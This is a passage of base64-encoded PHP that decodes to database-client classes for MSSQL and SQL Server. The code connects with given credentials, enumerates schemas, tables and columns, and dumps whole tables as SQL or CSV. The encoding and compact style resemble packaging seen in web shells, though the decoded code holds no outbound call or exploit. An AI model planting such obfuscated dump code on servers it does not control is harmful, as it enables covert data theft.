HlwZSxpc19udWxsYWJsZSxjb2x1bW5fZGVmYXVsdCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWU9JyAuICR0ZCAuICcgQU5EIHRhYmxlX3NjaGVtYT0nIC4gJHNkKSAmJiAkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSB7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAkdlsxXSA9IHN0cnRvdXBwZXIoJHZbMV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbMl0gPT09ICdOTycpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdlsxXSAuPSAnIE5PVCBOVUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2WzNdICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gLj0gJyBERUZBVUxUJyAuICR2WzNdOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskdlswXV0gPSAkdlsxXTsKICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdFWEVDIHNwX2NvbHVtbnNfbWFuYWdlZCBAb3duZXI9JyAuICRzZCAuICcsIEB0YWJsZT0nIC4gJHRkKSAmJiAkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSB7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAkdls3XSA9IHN0cnRvdXBwZXIoJHZbN10pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbNl0gPT09ICdOTycpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdls3XSAuPSAnIE5PVCBOVUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2WzVdICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbN10gLj0gJyBERUZBVUxUJyAuICR2WzVdOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskdlszXV0gPSAkdls3XTsKICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgT0JKRUNUX0lEKCcgLiAkc3RkbiAuICcpJykgJiYgJHYgPSAkdGhpcy0+ZmV0Y2hSb3coKSkgewogICAgICAgICAgICAgICAgICAgICRyID0gJ29iamVjdF9pZD0nIC4gJHZbMF07CiAgICAgICAgICAgICAgICAgICAgJGkgPSAnaWQ9JyAuICR2WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkciA9ICdPQkpFQ1RfU0NIRU1BX05BTUUob2JqZWN0X2lkKT0nIC4gJHNkIC4gJyBBTkQgT0JKRUNUX05BTUUob2JqZWN0X2lkKT0nIC4gJHRkOwogICAgICAgICAgICAgICAgICAgICRpID0gJ09CSkVDVF9TQ0hFTUFfTkFNRShpZCk9JyAuICRzZCAuICcgQU5EIE9CSkVDVF9OQU1FKGlkKT0nIC4gJHRkOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT50cnlRdWVyaWVzKGFycmF5KAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgbmFtZSxUWVBFX05BTUUoc3lzdGVtX3R5cGVfaWQpLGlzX251bGxhYmxlIEZST00gc3lzLmFsbF9jb2x1bW5zIFdIRVJFICcgLiAkciwKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIG5hbWUsVFlQRV9OQU1FKHh0eXBlKSxpc251bGxhYmxlIEZST00gc3lzY29sdW1ucyBXSEVSRSAnIC4gJGksCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBuYW1lLFRZUEVfTkFNRShzeXN0ZW1fdHlwZV9pZCksaXNfbnVsbGFibGUgRlJPTSBzeXMuY29sdW1ucyBXSEVSRSAnIC4gJHIKICAgICAgICAgICAgICAgICkpKSB7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCR2ID0gJHRoaXMtPmZldGNoUm93KCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gPSBzdHJ0b3VwcGVyKCR2WzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2WzJdID09PSAwKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gLj0gJyBOT1QgTlVMTCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2WzBdXSA9ICR2WzFdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdFWEVDIHNwX2NvbHVtbnNfcm93c2V0ICcgLiAkdGQgLiAnLCcgLiAkc2QpICYmICR2ID0gJHRoaXMtPmZldGNoUm93KCkpIHsKICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2WzExXSA9ICdCSU5BUlknOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbMTBdID09PSAwKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbMTFdIC49ICcgTk9UIE5VTEwnOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbOF0gIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdlsxMV0gLj0gJyBERUZBVUxUJyAuICR2WzhdOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskdlszXV0gPSAkdlsxMV07CiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSAkdGhpcy0+ZmV0Y2hSb3coKSk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGNsYXNzIE1TU1FMQ2xpZW50IGV4dGVuZHMgTVNTUUxCYXNlIHsKICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJGMpIHsKICAgICAgICAgICAgICAgIGlmICghKCR0aGlzLT5fY25jdCA9IG1zc3FsX2Nvbm5lY3QoJGgsICR1LCAkcCkpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2V0QmFzZSgkYik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0RXJyb3IoKSB7CiAgICAgICAgICAgICAgICAkdiA9IG1zc3FsX2dldF9sYXN0X21lc3NhZ2UoKTsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+X2NuY3QpCiAgICAgICAgICAgICAgICAgICAgbXNzcWxfY2xvc2UoJHRoaXMtPl9jbmN0KTsKICAgICAgICAgICAgICAgIHJldHVybiAkdjsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiB0cnlRdWVyaWVzKCRhKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPl9yZXMgPSBtc3NxbF9xdWVyeSgkdiwgJHRoaXMtPl9jbmN0KSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hCYXNlKCkgewogICAgICAgICAgICAgICAgaWYgKCgkdiA9IG1zc3FsX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpIHx8IChtc3NxbF9uZXh0X3Jlc3VsdCgkdGhpcy0+X3JlcykgJiYgKCR2ID0gbXNzcWxfZmV0Y2hfcm93KCR0aGlzLT5fcmVzKSkpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdlswXTsKICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFNjaGVtYSgpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHYgPSBtc3NxbF9mZXRjaF9yb3coJHRoaXMtPl9yZXMpKSA/ICR2WzFdIDogRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hUYWJsZSgpIHsKICAgICAgICAgICAgICAgIGlmICgoJHYgPSBtc3NxbF9mZXRjaF9yb3coJHRoaXMtPl9yZXMpKSB8fCAobXNzcWxfbmV4dF9yZXN1bHQoJHRoaXMtPl9yZXMpICYmICgkdiA9IG1zc3FsX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gY291bnQoJHYpID09PSAxID8gJHZbMF0gOiAkdlsyXTsKICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRUYWJsZVNpemUoJGIsICRzLCAkdCkgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdiA9IG1zc3FsX3F1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgRlJPTSAnIC4gbXNzcWxFc2NOYW1lKCRiLCAkcywgJHQpLCAkdGhpcy0+X2NuY3QpKSA/IG1zc3FsX3Jlc3VsdCgkdiwgMCwgMCkgOiAnIj8iJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBzZXRCYXNlKCR2KSB7CiAgICAgICAgICAgICAgICBpZiAoJHYgIT09ICR0aGlzLT5fYmFzZSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fYmFzZSA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFtc3NxbF9zZWxlY3RfZGIobXNzcWxFc2NOYW1lKCR2KSwgJHRoaXMtPl9jbmN0KSAmJiAhbXNzcWxfcXVlcnkoJ1VTRSAnIC4gbXNzcWxFc2NOYW1lKCR2KSwgJHRoaXMtPl9jbmN0KSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fYmFzZSA9ICR2OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0Q29sdW1ucygkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJGEgPSBwYXJlbnQ6OmdldENvbHVtbnMoJGIsICRzLCAkdCkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgaWYgKCRxID0gbXNzcWxfcXVlcnkoJ1NFTEVDVCBUT1AgMSAqIEZST00gJyAuIG1zc3FsRXNjTmFtZSgkYiwgJHMsICR0KSwgJHRoaXMtPl9jbmN0KSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdiA9IG1zc3FsX2ZldGNoX2ZpZWxkKCRxKSkgewogICAgICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskdi0+bmFtZV0gPSBzdHJ0b3VwcGVyKCR2LT50eXBlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSBtc3NxbF9mZXRjaF9maWVsZCgkcSkpOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmIChpc19zdHJpbmcoJHYgPSBtc3NxbF9maWVsZF9uYW1lKCRxLCAwKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskdl0gPSBpc19zdHJpbmcoJHMgPSBtc3NxbF9maWVsZF90eXBlKCRxLCAkaSkpID8gc3RydG91cHBlcigkcykgOiAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoaXNfc3RyaW5nKCR2ID0gbXNzcWxfZmllbGRfbmFtZSgkcSwgKyskaSkpKTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPSBtc3NxbF9mZXRjaF9hcnJheSgkcSwgTVNTUUxfQVNTT0MpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRrID0+ICRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0KCRiLCAkcywgJHQsICRjLCAkbywgJGwpIHsKICAgICAgICAgICAgICAgICR2ID0gJGwgPCAxMDAwID8gMTAwMCA6ICRsOwogICAgICAgICAgICAgICAgaWYgKCEoJHRoaXMtPl9yZXMgPSBtc3NxbF9xdWVyeSgnU0VMRUNUIFRPUCAnIC4gKCRvICsgJGwpIC4gJyAnIC4gc3FsSm9pbkNvbHVtbnMoJGMsICdtc3NxbEVzY05hbWUnKSAuICcgRlJPTSAnIC4gbXNzcWxFc2NOYW1lKCRiLCAkcywgJHQpLCAkdGhpcy0+X2NuY3QsICR2KSkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICAgICAgJGsgPSBmbG9vcigkbyAvICR2KTsKICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRrOyArKyRpKQogICAgICAgICAgICAgICAgICAgIGlmICghbXNzcWxfZmV0Y2hfYmF0Y2goJHRoaXMtPl9yZXMpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICAkayA9ICRvIC0gKCRrICogJHYpOwogICAgICAgICAgICAgICAgaWYgKCRrID4gMCAmJiAhbXNzcWxfZGF0YV9zZWVrKCR0aGlzLT5fcmVzLCAkaykpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hBc3NvYygpIHsKICAgICAgICAgICAgICAgIHJldHVybiBtc3NxbF9mZXRjaF9hcnJheSgkdGhpcy0+X3JlcywgTVNTUUxfQVNTT0MpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoUm93KCkgewogICAgICAgICAgICAgICAgaWYgKCgkdiA9IG1zc3FsX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpIHx8IChtc3NxbF9mZXRjaF9iYXRjaCgkdGhpcy0+X3JlcykgJiYgKCR2ID0gbXNzcWxfZmV0Y2hfcm93KCR0aGlzLT5fcmVzKSkpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdjsKICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBuZXh0UmVzdWx0KCkgewogICAgICAgICAgICAgICAgcmV0dXJuIG1zc3FsX25leHRfcmVzdWx0KCR0aGlzLT5fcmVzKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBxdWVyeSgkdikgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdGhpcy0+X3JlcyA9IG1zc3FsX3F1ZXJ5KCR2LCAkdGhpcy0+X2NuY3QpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBkdW1wKCRiLCAkcywgJHQsICRjLCAkZikgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c2V0QmFzZSgkYikpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHNwcmludGYoRV9DSE5HREIsICRiLCAkcywgJHQpOwogICAgICAgICAgICAgICAgJGkgPSAnJzsKICAgICAgICAgICAgICAgIGlmICgkZikgewogICAgICAgICAgICAgICAgICAgIGlmICgkdiA9ICR0aGlzLT5nZXRDb2x1bW5zKCRiLCAkcywgJHQpKQogICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRDcmVhdGUoJHQsICR2LCAnQklOQVJZJywgJ21zc3FsRXNjTmFtZScpOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSBzcHJpbnRmKEVfQ05TVENTLCAkYiAuICcuJyAuICRzIC4gJy4nIC4gJHQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGMgPSBzcWxKb2luQ29sdW1ucygkYywgJ21zc3FsRXNjTmFtZScpOwogICAgICAgICAgICAgICAgaWYgKCgkcSA9IG1zc3FsX3F1ZXJ5KCdTRUxFQ1QgJyAuICRjIC4gJyBGUk9NICcgLiBtc3NxbEVzY05hbWUoJGIsICRzLCAkdCksICR0aGlzLT5fY25jdCwgMTAwMCkpICYmICgkdiA9IG1zc3FsX2ZldGNoX2FycmF5KCRxLCBNU1NRTF9BU1NPQykpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQobXNzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBpbXBsb2RlKCc7JywgYXJyYXlfa2V5cygkdikpLCAiXG4iOwogICAgICAgICAgICAgICAgICAgICRkID0gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICRmID8gJywnIDogIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRWYWx1ZXMoJHYsICdtc3NxbEVzY0RhdGEnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3ZPdXRWYWx1ZXMoJHYpOwogICAgICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9IG1zc3FsX2ZldGNoX3JvdygkcSkpOwogICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKG1zc3FsX2ZldGNoX2JhdGNoKCRxKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI7XG4iOwogICAgICAgICAgICAgICAgICAgIG1zc3FsX2ZyZWVfcmVzdWx0KCRxKTsKICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICRpIC49IHNwcmludGYoRV9TTENURFQsICRiIC4gJy4nIC4gJHMgLiAnLicgLiAkdCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJGk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gY2xvc2UoKSB7CiAgICAgICAgICAgICAgICBtc3NxbF9jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGNsYXNzIFNRTFNydkNsaWVudCBleHRlbmRzIE1TU1FMQmFzZSB7CiAgICAgICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGgsICR1LCAkcCwgJGIsICRjKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+X2Jhc2UgPSAkYjsKICAgICAgICAgICAgICAgICRhICAgICAgICAgICA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICBpZiAoJHUgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgJGFbJ1VJRCddID0gJHU7CiAgICAgICAgICAgICAgICBpZiAoJHAgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgJGFbJ1BXRCddID0gJHA7CiAgICAgICAgICAgICAgICBpZiAoJGIgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgJGFbJ0RhdGFiYXNlJ10gPSAkYjsKICAgICAgICAgICAgICAgIHJldHVybiAoJHRoaXMtPl9jbmN0ID0gc3Fsc3J2X2Nvbm5lY3QoJGgsICRhKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0RXJyb3IoKSB7CiAgICAgICAgICAgICAgICAkdiA9IHNxbHNydl9lcnJvcnMoKTsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+X2NuY3QpCiAgICAgICAgICAgICAgICAgICAgc3Fsc3J2X2Nsb3NlKCR0aGlzLT5fY25jdCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJHYgPyAkdlswXVsnbWVzc2FnZSddIDogJyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gdHJ5UXVlcmllcygkYSkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJHYpCiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5fcmVzID0gc3Fsc3J2X3F1ZXJ5KCR0aGlzLT5fY25jdCwgJHYpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaEJhc2UoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCgkdiA9IHNxbHNydl9mZXRjaF9hcnJheSgkdGhpcy0+X3JlcywgU1FMU1JWX0ZFVENIX05VTUVSSUMpKSB8fCAoc3Fsc3J2X25leHRfcmVzdWx0KCR0aGlzLT5fcmVzKSAmJiAoJHYgPSBzcWxzcnZfZmV0Y2hfYXJyYXkoJHRoaXMtPl9yZXMsIFNRTFNSVl9GRVRDSF9OVU1FUklDKSkpKSA/ICR2WzBdIDogRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hTY2hlbWEoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCR2ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCR0aGlzLT5fcmVzLCBTUUxTUlZfRkVUQ0hfTlVNRVJJQykpID8gJHZbMV0gOiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFRhYmxlKCkgewogICAgICAgICAgICAgICAgaWYgKCgkdiA9IHNxbHNydl9mZXRjaF9hcnJheSgkdGhpcy0+X3JlcywgU1FMU1JWX0ZFVENIX05VTUVSSUMpKSB8fCAoc3Fsc3J2X25leHRfcmVzdWx0KCR0aGlzLT5fcmVzKSAmJiAoJHYgPSBzcWxzcnZfZmV0Y2hfYXJyYXkoJHRoaXMtPl9yZXMsIFNRTFNSVl9GRVRDSF9OVU1FUklDKSkpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiBjb3VudCgkdikgPT09IDEgPyAkdlswXSA6ICR2WzJdOwogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldFRhYmxlU2l6ZSgkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCgkdiA9IHNxbHNydl9xdWVyeSgkdGhpcy0+X2NuY3QsICdTRUxFQ1QgQ09VTlQoKikgRlJPTSAnIC4gbXNzcWxFc2NOYW1lKCRiLCAkcywgJHQpKSkgJiYgKCR2ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCR2LCBTUUxTUlZfRkVUQ0hfTlVNRVJJQykpKSA/ICR2WzBdIDogJyI/Iic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0Q29sdW1ucygkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJGEgPSBwYXJlbnQ6OmdldENvbHVtbnMoJGIsICRzLCAkdCkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgaWYgKCRxID0gc3Fsc3J2X3F1ZXJ5KCR0aGlzLT5fY25jdCwgJ1NFTEVDVCBUT1AgMSAqIEZST00gJyAuIG1zc3FsRXNjTmFtZSgkYiwgJHMsICR0KSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPSBzcWxzcnZfZmllbGRfbWV0YWRhdGEoJHEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR5ID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAxID0+ICdDSEFSJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIgPT4gJ05VTUVSSUMnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgMyA9PiAnREVDSU1BTCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ID0+ICdJTlQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgNSA9PiAnU01BTExJTlQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgNiA9PiAnRkxPQVQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgNyA9PiAnUkVBTCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMiA9PiAnVkFSQ0hBUicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA5MSA9PiAnREFURScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA5MyA9PiAnREFURVRJTUUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLTEgPT4gJ1RFWFQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLTIgPT4gJ0JJTkFSWScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAtMyA9PiAnVkFSQklOQVJZJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC00ID0+ICdJTUFHRScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAtNSA9PiAnQklHSU5UJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC02ID0+ICdUSU5ZSU5UJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC03ID0+ICdCSVQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLTggPT4gJ05DSEFSJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC05ID0+ICdOVkFSQ0hBUicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAtMTAgPT4gJ05URVhUJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0xMSA9PiAnVU5JUVVFSURFTlRJRklFUicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAtMTUxID0+ICdVRFQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLTE1MiA9PiAnWE1MJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0xNTQgPT4gJ1RJTUUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLTE1NSA9PiAnREFURVRJTUVPRkZTRVQnCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaVsnVHlwZSddID0gaXNzZXQoJHlbJ1R5cGUnXSkgPyAkeVsnVHlwZSddIDogJ0JJTkFSWSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGlbJ051bGxhYmxlJ10gPT09IFNRTFNSVl9OVUxMQUJMRV9OTykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaVsnVHlwZSddIC49ICcgTk9UIE5VTEwnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGlbJ05hbWUnXV0gPSAkaVsnVHlwZSddOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCRxLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRrID0+ICRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4g